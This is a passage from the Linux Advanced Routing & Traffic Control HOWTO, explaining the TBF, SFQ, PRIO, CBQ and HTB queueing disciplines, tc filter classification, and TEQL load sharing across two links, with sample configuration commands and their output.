If the bucket contains tokens and is allowed to empty, by default it does so at infinite speed. If this is unacceptable, use the following parameters:

peakrate

If tokens are available, and packets arrive, they are sent out immediately by default, at 'lightspeed' so to speak. That may not be what you want, especially if you have a large bucket.

The peakrate can be used to specify how quickly the bucket is allowed to be depleted. If doing everything by the book, this is achieved by releasing a packet, and then wait just long enough, and release the next. We calculated our waits so we send just at peakrate.

However, due to de default 10ms timer resolution of Unix, with 10.000 bits average packets, we are limited to 1mbit/s of peakrate!

mtu/minburst

The 1mbit/s peakrate is not very useful if your regular rate is more than that. A higher peakrate is possible by sending out more packets per timertick, which effectively means that we create a second bucket!

This second bucket defaults to a single packet, which is not a bucket at all.

To calculate the maximum possible peakrate, multiply the configured mtu by 100 (or more correctly, HZ, which is 100 on intel, 1024 on Alpha).

Sample configuration

A simple but *very* useful configuration is this:

# tc qdisc add dev ppp0 root tbf rate 220kbit latency 50ms burst 1500

Ok, why is this useful? If you have a networking device with a large queue, like a DSL modem or a cablemodem, and you talk to it over a fast device, like over an ethernet interface, you will find that uploading absolutely destroys interactivity.

This is because uploading will fill the queue in the modem, which is probably *huge* because this helps actually achieving good data throughput uploading. But this is not what you want, you want to have the queue not too big so interactivity remains and you can stil do other stuff while sending data.

The line above slows down sending to a rate that does not lead to a queue in the modem - the queue will be in Linux, where we can control it to a limited size.

Change 220kbit to your uplinks *actual* speed, minus a few percent. If you have a really fast modem, raise 'burst' a bit.

Stochastic Fairness Queueing

Stochastic Fairness Queueing (SFQ) is a simple implementation of the fair queueing algorithms family. It's less accurate than others, but it also requires less calculations while being almost perfectly fair.

The key word in SFQ is conversation (or flow), which mostly corresponds to a TCP session or a UDP stream. Traffic is divided into a pretty large number of FIFO queues, one for each conversation. Traffic is then sent in a round robin fashion, giving each session the chance to send data in turn.

This leads to very fair behaviour and disallows any single conversation from drowning out the rest. SFQ is called 'Stochastic' because it doesn't really allocate a queue for each session, it has an algorithm which divides traffic over a limited number of queues using a hashing algorithm.

Because of the hash, multiple sessions might end up in the same bucket, which would halve each session's chance of sending a packet, thus halving the effective speed available. To prevent this situation from becoming noticeable, SFQ changes its hashing algorithm quite often so that any two colliding sessions will only do so for a small number of seconds.

It is important to note that SFQ is only useful in case your actual outgoing interface is really full! If it isn't then there will be no queue on your linux machine and hence no effect. Later on we will describe how to combine SFQ with other qdiscs to get a best-of-both worlds situation.

Specifically, setting SFQ on the ethernet interface heading to your cablemodem or DSL router is pointless without further shaping!

Parameters & usage

The SFQ is pretty much selftuning:

perturb

Reconfigure hashing once this many seconds. If unset, hash will never be reconfigured. Not recommended. 10 seconds is probably a good value.

quantum

Amount of bytes a stream is allowed to dequeue before the next queue gets a turn. Defaults to 1 maximum sized packet (MTU-sized). Do not set below the MTU!

Sample configuration

If you have a device which has identical link speed as actual available rate, like a phone modem, this configuration will help promote fairness:

# tc qdisc add dev ppp0 root sfq perturb 10
# tc -s -d qdisc ls
qdisc sfq 800c: dev eth0 quantum 1514b limit 128p flows 128/1024 perturb 10sec
 Sent 4812 bytes 62 pkts (dropped 0, overlimits 0)

The number 800c: is the automatically assigned handle number, limit means that 128 packets can wait in this queue. There are 1024 hashbuckets available for accounting, of which 128 can be active at a time (no more packets fit in the queue!) Once every 10 seconds, the hashes are reconfigured.

9.3 Advice for when to use which queue

Summarizing, these are the simple queues that actually manage traffic by reordering, slowing or dropping packets.

The following tips may help in chosing which queue to use. It mentions some qdiscs described in the 'Advanced & less common queueing disciplines'.

  • To purely slow down outgoing traffic, use the Token Bucket Filter. Works up to huge bandwidths, if you scale the bucket.
  • If your link is truly full and you want to make sure that no single session can dominate your outgoing bandwidth, use Stochastical Fairness Queueing.
  • If you have a big backbone and know what you are doing, consider Random Early Drop (see Advanced chapter).
  • To 'shape' incoming traffic which you are not forwarding, use the Ingress Policer.
  • If you *are* forwarding it, use a TBF on the interface you are forwarding the data to.
  • If you don't want to shape, but only want to see if your interface is so loaded that it has to queue, use the pfifo queue (not pfifo_fast). It lacks internal bands but does account the size of its backlog.

9.4 Classful Queueing Disciplines

Some queueing disciplines can contain other queueing disciplines, which are then suddenly called 'classes'. A class is nothing short of a qdisc, except that it lives within another qdisc. We use the terms 'inner qdisc' , 'sub-qdisc' and 'class' interchangeably.

Classful qdiscs are very useful if you have different kinds of traffic which should have differing treatment. One of the classful qdiscs is called 'CBQ' , 'Class Based Queueing' - it is so widely mentioned that people identify queueing with classes solely with CBQ, but this is not the case.

CBQ is merely the oldest kid on the block - yet it is by far the least useful qdisc and also the most complex one. I advise *against* using it. This may come as something of a shock to many who fell for the 'sendmail effect', which learns us that any complex technology which doesn't come with documentation must be the best available.

More about CBQ and it's alternatives shortly.

Flow within classful qdiscs & classes

When traffic enters a classful qdisc, it needs to be sent to any of the qdiscs within - the classes. To determine what to do with a packet, the so called 'filters' are consulted. It is important to know that the filters are called from within a qdisc, and not the other way around!

The filters attached to that qdisc then return with a decision, and the qdisc uses this to enqueue the packet into one of the classes. These classes don't know that they are part of an outer-qdisc, they act as they normally do: accepting packets on one end and outputting them again when asked.

Besides containing other qdiscs, most classful qdiscs also perform shaping. This is useful to perform both packet reordering (with SFQ, for example) and rate control. You need this in cases where you have a high speed interface (for example, ethernet) to a slower device (a cable modem).

If you were only to run SFQ, nothing would happen, as packets enter & leave your router without delay: the output interface is far faster than your actual link speed. There is no queue to process then.

The qdisc family: roots, handles, siblings and parents

Each interface has a 'root qdisc', by default the earlier mentioned classless pfifo_fast queueing discipline. Each qdisc can be assigned a handle, which can be used by later configuration statements to refer to that qdisc.

These handles consist of two parts, a major number and a minor number. It is habitual to name the root qdisc '1:', which is equal to '1:0'.

Because classful qdiscs can have a lot of children, you should give them their own namespace by giving them a separate major number.

How filters are used to classify traffic

Recapping, a typical hierarchy might look like this:

                    root 1:
                      |
                    _1:1_
                   /  |  \
                  /   |   \
                 /    |    \
               10:   11:   12:
              /   \       /   \
           10:1  10:2   12:1  12:2

But don't let this tree fool you! You should *not* imagine the kernel to be at the apex of the tree and the network below, that is just not the case. Packets get enqueued and dequeued at the root qdisc, which is the only thing the kernel talks to.

A packet might get enqueued in a chain like this:

1: -> 1:1 -> 12: -> 12:2

The packet now resides in a queue in qdisc 12:2. In this example, a filter was attached to each 'node' in the tree, each chosing a branch to take next. This can make sense. However, tnis is also possible:

1: -> 12:2

In this case, a filter attached to the root decided to send the packet directly to 12:2.

How packets are dequeued to the hardware

When the kernel decides that it needs to extract packets to send to the interface, the root qdisc 1: gets a dequeue request, which is passed to 1:1, which is in turn passed to 10:, 11: and 12:, which each query their siblings, and try to dequeue() from them. In this case, the kernel needs to walk the entire tree, because only 12:2 contains a packet.

In short, nested qdiscs ONLY talk to their parent qdiscs, never to an interface. Only the root qdisc gets dequeued by the kernel!

The upshot of this is that sub-qdiscs never get dequeued faster than their parents allow. And this is exactly what we want: this way we can have SFQ as an inner class, which doesn't do any shaping, only reordering, and have a shaping outer class, which does the shaping.

The PRIO qdisc

The PRIO qdisc doesn't actually shape, it only subdivides traffic based on how you configured your filters. You can consider the PRIO qdisc a kind of pfifo_fast on stereoids, whereby each band is a separate qdisc instead of a simple FIFO.

When a packet is enqueued to the PRIO qdisc, a sub-qdisc is chosen based on the filter commands you gave. By default, three pfifo sub-qdiscs are created. These sub-qdiscs are by default pure FIFO queues with no internal structure, but you can replace them by any qdisc you have available.

Whenever a packet needs to be dequeued, class :1 is tried first. Higher classes are only used of lower bands all did not give up a packet.

This queue is very useful in case you want to prioritize certain kinds of traffic without using TOS-flags but using all the power of the tc filters. Because it doesn't actually shape, the same warning as for SFQ holds: either use it only if your physical link is really full or wrap it inside a classful qdisc that does shape.

The last holds for almost all cablemodems and DSL devices.

PRIO parameters & usage

The following parameters are recognized by tc:

bands

Number of bands to create. Each band is in fact a class. If you change this number, you should probably also change the priomap.

priomap

If you do not provide tc filters to classify traffic, the PRIO qdisc looks at the TC_PRIO priority to decide how to enqueue traffic. The kernel assigns each packet a TC_PRIO priority, based on TOS flags or socket options passed by the application.

The TC_PRIO is decided based on the TOS, and mapped as follows:

TC_PRIO..          Num  TOS                        Band
-------------------------------------------------------
BESTEFFORT         0    Maximize Reliablity        1
FILLER             1    Minimize Cost              2
BULK               2    Maximize Throughput (0x8)  2
INTERACTIVE_BULK   4                               2
INTERACTIVE        6    Minimize Delay (0x10)      1
CONTROL            7                               2
                   8                               0
                   9                               0
                  10                               1
                  11                               1
                  12                               1
                  13                               1
                  14                               1
                  15                               1
FIXME: It is not known what the higher priorities confirm to.

SSH sets TOS to 'Minimize Delay', unless it is doing scp, in which case it sets 'Maximize Throughput'. The numbers in parentheses denote the TOS value as reported by tcpdump and the kernel. If you divide this by two, you get the values mentioned by RFC1349.

The default values are reasonable, you probably do not need to change them.

The bands are classes, and are called major:1 to major:3 by default, so if your PRIO qdisc is called 12:, tc filter traffic to 12:1 to grant it more priority.

Reiterating, band 0 goes to minor number 1! Band 1 to minor number 2, etc.

Sample configuration

We will create this tree:

     root 1: prio
       /   |   \
     1:1  1:2  1:3
      |    |    |
     10:  20:  30:
     sfq  tbf  sfq
band  0    1    2

Bulk traffic will go to 30:, interactive traffic to 20: or 10:.

Commandlines:

# tc qdisc add dev eth0 root handle 1: prio
## This *instantly* creates 1:1, 1:2, 1:3

# tc qdisc add dev eth0 parent 1:1 handle 10: sfq
# tc qdisc add dev eth0 parent 1:2 handle 20: tbf rate 20kbit buffer 1600 limit 3000
# tc qdisc add dev eth0 parent 1:3 handle 30: sfq

Now lets's see what we created:

# tc -s qdisc ls dev eth0
qdisc sfq 30: quantum 1514b
 Sent 0 bytes 0 pkts (dropped 0, overlimits 0)

 qdisc tbf 20: rate 20Kbit burst 1599b lat 667.6ms
 Sent 0 bytes 0 pkts (dropped 0, overlimits 0)

 qdisc sfq 10: quantum 1514b
 Sent 132 bytes 2 pkts (dropped 0, overlimits 0)

 qdisc prio 1: bands 3 priomap  1 2 2 2 1 2 0 0 1 1 1 1 1 1 1 1
 Sent 174 bytes 3 pkts (dropped 0, overlimits 0)
As you can see, band 0 has already had some traffic, and one packet was sent while running this command!

We now do some bulk data transfer with a tool that properly sets TOS flags, and take another look:

# scp tc ahu@10.0.0.11:./
ahu@10.0.0.11's password:
tc                   100% |*****************************|   353 KB    00:00
# tc -s qdisc ls dev eth0
qdisc sfq 30: quantum 1514b
 Sent 384228 bytes 274 pkts (dropped 0, overlimits 0)

 qdisc tbf 20: rate 20Kbit burst 1599b lat 667.6ms
 Sent 2640 bytes 20 pkts (dropped 0, overlimits 0)

 qdisc sfq 10: quantum 1514b
 Sent 2230 bytes 31 pkts (dropped 0, overlimits 0)

 qdisc prio 1: bands 3 priomap  1 2 2 2 1 2 0 0 1 1 1 1 1 1 1 1
 Sent 389140 bytes 326 pkts (dropped 0, overlimits 0)
As you can see, all traffic went to handle 30:, which is the lowest priority band, just as intended. Now to verify that interactive traffic goes to higher bands, we create some interactive traffic:

# tc -s qdisc ls dev eth0
qdisc sfq 30: quantum 1514b
 Sent 384228 bytes 274 pkts (dropped 0, overlimits 0)

 qdisc tbf 20: rate 20Kbit burst 1599b lat 667.6ms
 Sent 2640 bytes 20 pkts (dropped 0, overlimits 0)

 qdisc sfq 10: quantum 1514b
 Sent 14926 bytes 193 pkts (dropped 0, overlimits 0)

 qdisc prio 1: bands 3 priomap  1 2 2 2 1 2 0 0 1 1 1 1 1 1 1 1
 Sent 401836 bytes 488 pkts (dropped 0, overlimits 0)

It worked - all additional traffic has gone to 10:, which is our highest priority qdisc. No traffic was sent to the lowest priority, which previously received our entire scp.

The famous CBQ qdisc

As said before, CBQ is the most complex qdisc available, the most hyped, the least understood and possibly the worst queueing discipline for you in the entire Linux kernel. This is not because the authors are evil or incompetent, far from it, it's just that the CBQ algorithm isn't all that precise and doesn't really match the way Linux works.

Besides being classful, CBQ is also a shaper and it is in that aspect that it really doesn't work very well. It should work like this. If you try to shape a 10mbit/s connection to 1mbit/s, the link should be idle 90% of the time. If it isn't, we need to throttle so that it IS idle 90% of the time.

This is pretty hard to measure, so CBQ also needs to know how big an average packet is going to be, and instead derives the idle time from the number of microseconds that elapse between requests from the hardware layer for more data. Combined, this can be used to approximate how full or empty the link is.

This is rather circumspect and doesn't always arrive at proper results. For example, what is the actual link speed of an interface that is not really able to transmit the full 100mbit/s of data, perhaps because of a badly implemented driver? A PCMCIA network card will also never achieve 100mbit/s because of the way the bus is designed - again, how do we calculate the idle time?

It gets even worse if we consider not-quite-real network devices like PPP over Ethernet or PPTP over TCP/IP. The effective bandwidth in that case is probably determined by the efficiency of pipes to userspace - which is huge.

People who have done measurements discover that CBQ is not very accurate and sometimes completely misses the mark.

Besides not being all that good, it also comes with little or no documentation AND with about 20 knobs to tune. In fact, CBQ is so hard to configure that people use scripts to generate the needed commands.

In short - I would advise AGAINST using CBQ if you want to have accurate results and want to understand what you are doing.

CBQ shaping in detail

Because lots of people are using CBQ anyhow, possibly because they don't have anything else available, we will describe it here.

As said before, CBQ works by making sure that the link is idle just long enough to bring down the real bandwidth to the configured rate. To do so, it calculates the time that should pass between average packets.

During operations, the effective idletime is measured using an exponential weighted moving average (EWMA), which considers recent packets to be exponentially more important than past ones. The unix loadaverage is calculated in the same way.

The calculated idle time is substracted from the EWMA measured one, the resulting number is called 'avgidle'. A perfectly loaded link has an avgidle of zero: packets arrive exactly once every calculated interval.

An overloaded link has a negative avgidle and if it gets too negative, CBQ shuts down for a while and is then 'overlimit'.

Conversely, an idle link might amass a huge avgidle, which would then allow infinite bandwidths after a few hours of silence. To prevent this, avgidle is capped at maxidle.

If overlimit, in theory, the CBQ could throttle itself for exactly the amount of time that was calculated to pass between packets, and then pass one packet, and throttle again. But see the 'minburst' parameter below.

These are parameters you can specify in order to configure shaping:

avpkt

Average size of a packet, measured in bytes. Needed for idle time approximation.

bandwidth

The physical bandwidth of your device, also needed for idle time calculations.

cell

The time a packet takes to be transmitted over an ethernet device grows in steps, based on the packet size. An 800 and a 806 size packet may take just as long to send, for example - this sets the granularity. Most often set to '8'. Must be an integral power of two.

maxburst

This number of packets is used to calculate maxidle so that when avgidle is at maxidle, this number of average packets can be burst before avgidle drops to 0. Set it higher to be more tolerant of bursts. You can't set maxidle directly, only via this parameter.

minburst

As mentioned before, CBQ needs to throttle in case of overlimit. The ideal solution is to do so for exactly the calculated idle time, and pass 1 packet. However, Unix kernels generally have a hard time scheduling events shorter than 10ms, so it is better to throttle for a longer period, and then pass minburst packets in one go, and then sleep minburst times longer.

The time to wait is called the offtime. Higher values of minburst lead to more accurate shaping in the long term, but to bigger bursts at millisecond timescales.

minidle

If avgidle is below 0, we are overlimits and need to wait until avgidle will be big enough to send one packet. To prevent a sudden burst from shutting down the link for a prolonged period of time, avgidle is reset to minidle if it gets too low.

Minidle is specified in negative microseconds, so 10 means that avgidle is capped at -10us.

mpu

Mininum packet size - needed because even a zero size packet is padded to 64 bytes on ethernet, and so takes a certain time to transmit. CBQ needs to know this to accurately measure the idle time.

rate

Desired rate of traffic leaving this qdisc - this is the 'speed knob'!

Internally, CBQ has a lot of finetuning. For example, classes which are known not to have data enqueued to them aren't queried. Overlimit classes are penalized by lowering their effective priority. All very smart & complicated.

CBQ classful behaviour

Besides shaping, using the aforementioned idletime approximations, CBQ also acts like the PRIO queue in the sense that classes can have differing priorities and that lower priority numbers will be polled before the higher priority ones.

Each time a packet is requested by the hardware layer to be sent out to the network, a weighted round robin process starts, beginning with the lower priority classes.

These are then grouped and queried if they have data available. If so, it is returned. After a class has been allowed to dequeue a number of bytes, the next class within that priority is tried.

The following parameters control the WRR process:

allot

When the outer cbq is asked for a packet to send out on the interface, it will try all inner qdiscs (classes) in turn, in order of the 'priority' parameter. Each time a class gets its turn, it can only send out a limited amount of data. 'Allot' is the base unit of this amount. See the 'weight' parameter for more information.

prio

The CBQ can also act like the PRIO device. Inner classes with lower priority are tried first and as long as they have traffic, other classes are not polled for traffic.

weight

Weight helps in the Weighted Round Robin process. Each class gets a chance to send in turn. If you have classes with significantly more bandwidth than other classes, it makes sense to allow them to send more data in one round than the others.

A CBQ adds up all weights within a class, and normalizes them, so you can use arbitrary numbers: only the ratios are important. People have been using 'rate/10' as a rule of thumb and it appears to work well. The renormalized weight is multiplied by the 'allot' parameter to determine how much data can be sent in one round.

CBQ parameters that determine link sharing & borrowing

Besides purely limiting certain kinds of traffic, it is also possible to specify which classes can borrow capacity from other classes or, conversely, lend out bandwidth.

Isolated/sharing

A class that is configured with 'isolated' will not lend out bandwidth to sibling classes. Use this if you have competing or mutually-unfriendly agencies on your link who do want to give eachother freebies.

The control program tc also knows about 'sharing', which is the reverse of 'isolated'.

bounded/borrow

A class can also be 'bounded', which means that it will not try to borrow bandwidth from sibling classes. tc also knows about 'borrow', which is the reverse of 'bounded'.

A typical situation might be where you have two agencies on your link which are both 'isolated' and 'bounded', which means that they are really limited to their assigened rate, and also won't allow each other to borrow.

Within such an agency class, there might be other classes which are allowed to swap bandwidth.

Sample configuration

This configuration limits webserver traffic to 5mbit and smtp traffic to 3 mbit, and limits the sum to 5mbit:

# tc qdisc add dev eth0 root handle 1:0 cbq bandwidth 100Mbit         \
  avpkt 1000 cell 8
# tc class add dev eth0 parent 1:0 classid 1:1 cbq bandwidth 100Mbit  \
  rate 5Mbit weight 0.5Mbit prio 8 allot 1514 cell 8 maxburst 20      \
  avpkt 1000
This part installs the root and the customary 1:0 sub-root. While it is possible to remove the first line, and attach the second line directly to the root, there are some subtleties involved which are avoided if adding this extra layer.

As said before, CBQ requires a *lot* of knobs. All parameters are explained above, however. The corresponding HTB configuration is lots simpler.

# tc class add dev eth0 parent 1:1 classid 10: cbq bandwidth 100Mbit  \
  rate 5Mbit weight 0.5Mbit prio 5 allot 1514 cell 8 maxburst 20      \
  avpkt 1000 bounded
# tc class add dev eth0 parent 1:1 classid 20: cbq bandwidth 100Mbit  \
  rate 3Mbit weight 0.3Mbit prio 5 allot 1514 cell 8 maxburst 20      \
  avpkt 1000 bounded

These are our two classes. Note how we scale the weight with the configured rate. Also note that both classes are bounded and won't therefore try to borrow traffic.

# tc qdisc add dev eth0 parent 10: tbf rate 5Mbit buffer 10Kb/8 limit \
  15Kb mtu 1500
# tc qdisc add dev eth0 parent 20: tbf rate 3Mbit buffer 10Kb/8 limit \
  15Kb mtu 1500

Here we install token bucket filters in the two configured subclasses. The /8 corresponds to the cell size we mentioned earlier for CBQ. We create a bucket of 10kbytes of tokens, a maximum 'pre-bucket' backlog of 15kbyte.

# tc filter add dev eth0 parent 1:0 protocol ip prio 1 u32 match ip \
  sport 80 0xffff flowid 10:0
# tc filter add dev eth0 parent 1:0 protocol ip prio 1 u32 match ip \
  sport 25 0xffff flowid 20:0

These commands, attached directly to the root, send traffic to the right qdiscs.

Note that we use 'tc class add' to CREATE classes within a qdisc, but that we use 'tc qdisc add' to actually configure these classes.

You may wonder what happens to traffic that is not classified by any of the two rules. It appears that in this case, data will then be processed within 1:0, and be unlimited. This can be configured in a variety of ways, which I do not understand. Use HTB :-)

If smtp+web together try to exceed the set limit of 5mbit/s, bandwidth will be divided according to the weight parameter, giving 5/8 of traffic to the webserver and 3/8 to the mailserver.

Other CBQ parameters: split & defmap

As said before, a classful qdisc needs to call filters to determine which class a packet will be enqueued to.

Besides calling the filter, CBQ offers other options, defmap & split. This is pretty complicated to understand, and it is not vital. But as this is the only known place where defmap & split are properly explained, I'm doing my best.

As you will often want to filter on the Type of Service field only, a special syntax is provided. Whenever the CBQ needs to figure out where a packet needs to be enqueued, it checks if this node is a 'split node'. If so, one of the sub-qdiscs has indicated that it wishes to receive all packets with a certain configured priority, as might be derived from the TOS field, or socket options set by applications.

The packets' priority bits are or-ed with the defmap field to see if a match exists. In other words, this is a short-hand way of creating a very fast filter, which only matches certain priorities. A defmap of ff (hex) will match everything, a map of 0 nothing. A sample configuration may help make things clearer:

# tc qdisc add dev eth1 root handle 1: cbq bandwidth 10Mbit allot 1514 \
  cell 8 avpkt 1000 mpu 64

# tc class add dev eth1 parent 1:0 classid 1:1 cbq bandwidth 10Mbit    \
  rate 10Mbit allot 1514 cell 8 weight 1Mbit prio 8 maxburst 20        \
  avpkt 1000
Standard CBQ preamble. I never get used to the sheer amount of numbers required!

Defmap refers to TC_PRIO bits, which are defined as follows:

TC_PRIO..          Num  Corresponds to TOS
-------------------------------------------------
BESTEFFORT         0    Maximuze Reliablity
FILLER             1    Minimize Cost
BULK               2    Maximize Throughput (0x8)
INTERACTIVE_BULK   4
INTERACTIVE        6    Minimize Delay (0x10)
CONTROL            7

This corresponds to bits, counted from the right. Now the interactive, and the bulk classes:

# tc class add dev eth1 parent 1:1 classid 1:2 cbq bandwidth 10Mbit     \
  rate 1Mbit allot 1514 cell 8 weight 100Kbit prio 3 maxburst 20        \
  avpkt 1000 split 1:0 defmap c0

# tc class add dev eth1 parent 1:1 classid 1:3 cbq bandwidth 10Mbit     \
  rate 8Mbit allot 1514 cell 8 weight 800Kbit prio 7 maxburst 20        \
  avpkt 1000 split 1:0 defmap 3f

The 'split qdisc' is 1:0, which is where the choice will be made. C0 is binary for 11000000, 3F for 00111111, so these two together will match everything. The first class matches bits 7 & 6, and thus corresponds to 'interactive' and 'control' traffic. The second class matches the rest.

Node 1:0 now has a table like this:

priority        send to
0               1:3
1               1:3
2               1:3
3               1:3
4               1:3
5               1:3
6               1:2
7               1:2

For additional fun, you can also pass a 'change mask', which indicates exactly which priorities you wish to change. You only need to use this if you are running 'tc class change'. For example, to add best effort traffic to 1:2, we could run this:

# tc class change dev eth1 classid 1:2 cbq defmap 01/01

The priority map over at 1:0 now looks like this:

priority        send to
0               1:2
1               1:3
2               1:3
3               1:3
4               1:3
5               1:3
6               1:2
7               1:2

FIXME: did not test this, only looked at the source.

Hierarchical Token Bucket

Martin Devera (<devik>) rightly realised that CBQ is complex and does not seem optimized for many typical situations. His Hierarchial approach is well suited for setups where you have a fixed amount of bandwidth which you want to divide for different purposes, giving each purpose a guaranteed bandwidth, with the possibility of specifying how much bandwidth can be borrowed.

HTB works just like CBQ but does not resort to idle time calculations to shape. Instead, it is a classful Token Bucket Filter - hence the name. It has only a few parameters, which are well documented on his site.

As your HTB configuration gets more complex, your configuration scales well. With CBQ it is already complex even in simple cases! HTB is not yet a part of the standard kernel, but it should soon be!

If you are in a position to patch your kernel, by all means use HTB instead of CBQ.

Sample configuration

Functionally almost identical to the CBQ sample configuration above:

# tc qdisc add dev eth0 root handle 1: htb default 30

# tc class add dev eth0 parent 1: classid 1:1 htb rate 5mbit burst 15k

# tc class add dev eth0 parent 1:1 classid 1:10 htb rate 5mbit burst 15k
# tc class add dev eth0 parent 1:1 classid 1:20 htb rate 3mbit ceil 5mbit burst 15k
# tc class add dev eth0 parent 1:1 classid 1:30 htb rate 1kbit ceil 5mbit burst 15k

The author then recommends SFQ for beneath these classes:

# tc qdisc add dev eth0 parent 1:10 handle 10: sfq perturb 10
# tc qdisc add dev eth0 parent 1:20 handle 20: sfq perturb 10
# tc qdisc add dev eth0 parent 1:30 handle 30: sfq perturb 10

Add the filters which direct traffic to the right classes:

# U32="tc filter add dev eth0 protocol ip parent 1:0 prio 1 u32"
# $U32 match ip dport 80 0xffff flowid 1:10
# $U32 match ip sport 25 0xffff flowid 1:20
And that's it - no unsightly unexplained numbers, no undocumented parameters.

HTB certainly looks wonderful - if 10: and 20: both have their guaranteed bandwidth, and more is left to divide, they borrow in a 5:3 ratio, just as you would expect.

Unclassified traffic gets routed to 30:, which has little bandwidth of its own but can borrow everything that is left over. Because we chose SFQ internally, we get fairness thrown in for free!

9.5 Classifying packets with filters

To determine which class shall process a packet, the so-called 'classifier chain' is called each time a choice needs to be made. This chain consists of all filters attached to the classful qdisc that needs to decide.

To reiterate the tree, which is not a tree:

                    root 1:
                      |
                    _1:1_
                   /  |  \
                  /   |   \
                 /    |    \
               10:   11:   12:
              /   \       /   \
           10:1  10:2   12:1  12:2

When enqueueing a packet, at each branch the filter chain is consulted for a relevant instruction. A typical setup might be to have a filter in 1:1 that directs a packet to 12: and a filter on 12: that sends the packet to 12:2.

You might also attach this latter rule to 1:1, but you can make efficiency gains by having more specific tests lower in the chain.

You can't filter a packet 'upwards', by the way. Also, with HTB, you should attach all filters to the root!

And again - packets are only enqueued downwards! When they are dequeued, they go up again, where the interface lives. They do NOT fall off the end of the tree to the network adaptor!

Some simple filtering examples

As explained in the Classifier chapter, you can match on literally anything, using a very complicated syntax. To start, we will show how to do the obvious things, which luckily are quite easy.

Let's say we have a PRIO qdisc called '10:' which contains three classes, and we want to assign all traffic from and to port 22 to the highest priority band, the filters would be:

# tc filter add dev eth0 protocol ip parent 10: prio 1 u32 match \
  ip dport 22 0xffff flowid 10:1
# tc filter add dev eth0 protocol ip parent 10: prio 1 u32 match \
  ip sport 80 0xffff flowid 10:1
# tc filter add dev eth0 protocol ip parent 10: prio 2 flowid 10:2

What does this say? It says: attach to eth0, node 10: a priority 1 u32 filter that matches on IP destination port 22 *exactly* and send it to band 10:1. And it then repeats the same for source port 80. The last command says that anything unmatched so far should go to band 10:2, the next-highest priority.

You need to add 'eth0', or whatever your interface is called, because each interface has a unique namespace of handles.

To select on an IP address, use this:

# tc filter add dev eth0 parent 10:0 protocol ip prio 1 u32 \
  match ip dst 4.3.2.1/32 flowid 10:1
# tc filter add dev eth0 parent 10:0 protocol ip prio 1 u32 \
  match ip src 1.2.3.4/32 flowid 10:1
# tc filter add dev eth0 protocol ip parent 10: prio 2      \
  flowid 10:2

This assigns traffic to 4.3.2.1 and traffic from 1.2.3.4 to the highest priority queue, and the rest to the next-highest one.

You can concatenate matches, to match on traffic from 1.2.3.4 and from port 80, do this:

# tc filter add dev eth0 parent 10:0 protocol ip prio 1 u32 match ip src 4.3.2.1/32
  match ip sport 80 0xffff flowid 10:1

All the filtering commands you will normally need

Most shaping commands presented here start with this preamble:

# tc filter add dev eth0 parent 1:0 protocol ip prio 1 u32 ..
These are the so called 'u32' matches, which can match on ANY part of a packet.
On source/destination address

Source mask 'match ip src 1.2.3.0/24', destination mask 'match ip dst 4.3.2.0/24'. To match a single host, use /32, or omit the mask.

On source/destination port, all IP protocols

Source: 'match ip sport 80 0xffff', 'match ip dport 0xffff'

On ip protocol (tcp, udp, icmp, gre, ipsec)

Use the numbers from /etc/protocols, for example, icmp is 1: 'match ip protocol 1 0xff'.

On fwmark

You can mark packets with either ipchains and have that mark survive routing across interfaces. This is really useful to for example only shape traffic on eth1 that came in on eth0. Syntax: # tc filter add dev eth1 protocol ip parent 1:0 prio 1 handle 6 fw classid 1:1 Note that this is not a u32 match!

You can place a mark like this:

# iptables -A FORWARD -t mangle -i eth0 -j MARK --set-mark 6
The number 6 is arbitrary.

If you don't want to understand the full tc filter syntax, just use iptables, and only learn to select on fwmark.

For more filtering commands, see the Advanced Filters chapter.


Linux Advanced Routing & Traffic Control HOWTO: Loadsharing over multiple interfaces

 Next Previous Contents

10. Loadsharing over multiple interfaces

There are several ways of doing this. One of the easiest and straightforward ways is 'TEQL' - "True" (or "trivial") link equalizer. Like most things having to do with queueing, loadsharing goes both ways. Both ends of a link may need to participate for full effect.

Imagine this situation:

                 +-------+   eth1   +-------+
                 |       |==========|       |
 'network 1' ----|   A   |          |   B   |---- 'network 2'
                 |       |==========|       |
                 +-------+   eth2   +-------+

A and B are routers, and for the moment we'll assume both run Linux. If traffic is going from network 1 to network 2, router A needs to distribute the packets over both links to B. Router B needs to be configured to accept this. Same goes the other way around, when packets go from network 2 to network 1, router B needs to send the packets over both eth1 and eth2.

The distributing part is done by a 'TEQL' device, like this (it couldn't be easier):

# tc qdisc add dev eth1 root teql0
# tc qdisc add dev eth2 root teql0

This needs to be done on both hosts. The device teql0 is basically a roundrobbin distributor over eth1 and eth2, for sending packets. No data ever comes in over an teql device, that just appears on the 'raw' eth1 and eth2.

But now we just have devices, we also need proper routing. One way to do this is to assign a /31 network to both links, and a /31 to the teql0 device as well:

FIXME: does this need something like 'nobroadcast'? A /31 is too small to house a network address and a broadcast address - if this doesn't work as planned, try a /30, and adjust the ip adresses accordingly. You might even try to make eth1 and eth2 do without an IP address!

On router A:

# ip addr add dev eth1 10.0.0.0/31
# ip addr add dev eth2 10.0.0.2/31
# ip addr add dev teql0 10.0.0.4/31

On router B:

# ip addr add dev eth1 10.0.0.1/31
# ip addr add dev eth2 10.0.0.3/31
# ip addr add dev teql0 10.0.0.5/31

Router A should now be able to ping 10.0.0.1, 10.0.0.3 and 10.0.0.5 over the 2 real links and the 1 equalized device. Router B should be able to ping 10.0.0.0, 10.0.0.2 and 10.0.0.4 over the links.

If this works, Router A should make 10.0.0.5 its route for reaching network 2, and Router B should make 10.0.0.4 its route for reaching network 1. For the special case where network 1 is your network at home, and network 2 is the internet, Router A should make 10.0.0.5 its default gateway.

10.1 Caveats

Nothing is as easy as it seems. eth1 and eth2 on both router A and B need to have return path filtering turned off, because they will otherwise drop packets destined for ip addresses other than their own:

# echo 0 > /proc/net/ipv4/conf/eth1/rp_filter
# echo 0 > /proc/net/ipv4/conf/eth2/rp_filter

Then there is the nasty problem of packet reordering. Let's say 6 packets need to be sent from A to B - eth1 might get 1, 3 and 5. eth2 would then do 2, 4 and 6. In an ideal world, router B would receive this in order, 1, 2, 3, 4, 5, 6. But the possibility is very real that the kernel gets it like this: 2, 1, 4, 3, 6, 5. The problem is that this confuses TCP/IP. While not a problem for links carrying many different TCP/IP sessions, you won't be able to to a bundle multiple links and get to ftp a single file lots faster, except when your receiving or sending OS is Linux, which is not easily shaken by some simple reordering.

However, for lots of applications, link loadbalancing is a great idea.


Linux Advanced Routing & Traffic Control HOWTO: Netfilter & iproute - marking packets

 Next Previous Contents

11. Netfilter & iproute - marking packets

